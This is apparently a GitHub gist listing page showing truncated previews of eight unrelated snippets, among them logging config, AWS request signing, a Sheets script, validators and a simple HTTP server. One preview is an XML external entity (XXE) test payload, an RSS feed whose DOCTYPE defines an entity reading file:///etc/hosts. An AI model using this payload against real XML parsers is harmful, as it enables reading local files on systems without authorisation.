This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"Logging": { | |
"EnableLogging": true, | |
"EnableLogContext": true, | |
"LogComponents": [ | |
{ | |
"Severity": "LOGGER_SEVERITY_DEFAULT", | |
"Id": "TRANSFORMATION" | |
}, | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="ISO-8859-1"?> | |
<!DOCTYPE description [ | |
<!ELEMENT description ANY > | |
<!ENTITY xxe SYSTEM "file:///etc/hosts" >]> | |
<rss xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" | |
xmlns:content="http://purl.org/rss/1.0/modules/content/" | |
xmlns:media="http://search.yahoo.com/mrss/" version="2.0"> | |
<channel> | |
<title>XXE Example - Check Description</title> | |
<link>https://localhost/</link> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// attribution: https://github.com/dwyl/learn-aws-iot/blob/46538441c4f6591eb23a7396d0a816ce8ff7806f/src/js/utils/request.js | |
var moment = require("moment"); | |
var CryptoJS = require("crypto-js"); | |
function SigV4Utils() {} | |
SigV4Utils.sign = function (key, msg) { | |
var hash = CryptoJS.HmacSHA256(msg, key); | |
return hash.toString(CryptoJS.enc.Hex); | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var data = {} | |
function insertJSONIntoSheet(sheetName, data) { | |
var ss = SpreadsheetApp.getActiveSpreadsheet(); | |
var sheet = ss.getSheetByName(sheetName); | |
// create sheet if it doesn't exist | |
if (sheet === null) { | |
sheet = ss.insertSheet(); | |
sheet.setName(sheetName); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
This works well with asyncio as well | |
""" | |
import functools | |
import logging | |
import sys | |
from concurrent.futures import ThreadPoolExecutor | |
_LOGGING_THREAD_POOL = ThreadPoolExecutor(max_workers=1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from chalice import Response | |
from cerberus import Validator | |
def validate(schema, location="body"): | |
def decorator(fn): | |
def wrapped_f(*args, **kwargs): | |
v = Validator(schema, allow_unknown=True) | |
data = {} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
''' | |
This module allows you to get the IP address of your Kivy/python-for-android app. | |
It was created by Ryan Marvin and is free to use. | |
Credit to Bruno Adele for the int_to_ip method | |
''' | |
#Required : ACCESS_WIFI_STATE permission, pyjnius | |
def int_to_ip(ipnum): | |
oc1 = int(ipnum / 16777216) % 256 | |
oc2 = int(ipnum / 65536) % 256 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf8 -*- | |
"""Simple HTTP Server. | |
This module builds on BaseHTTPServer by implementing the standard GET | |
and HEAD requests in a fairly straightforward manner. | |
""" | |
''' | |
This version of HTTPServer supports unicode and also serves files |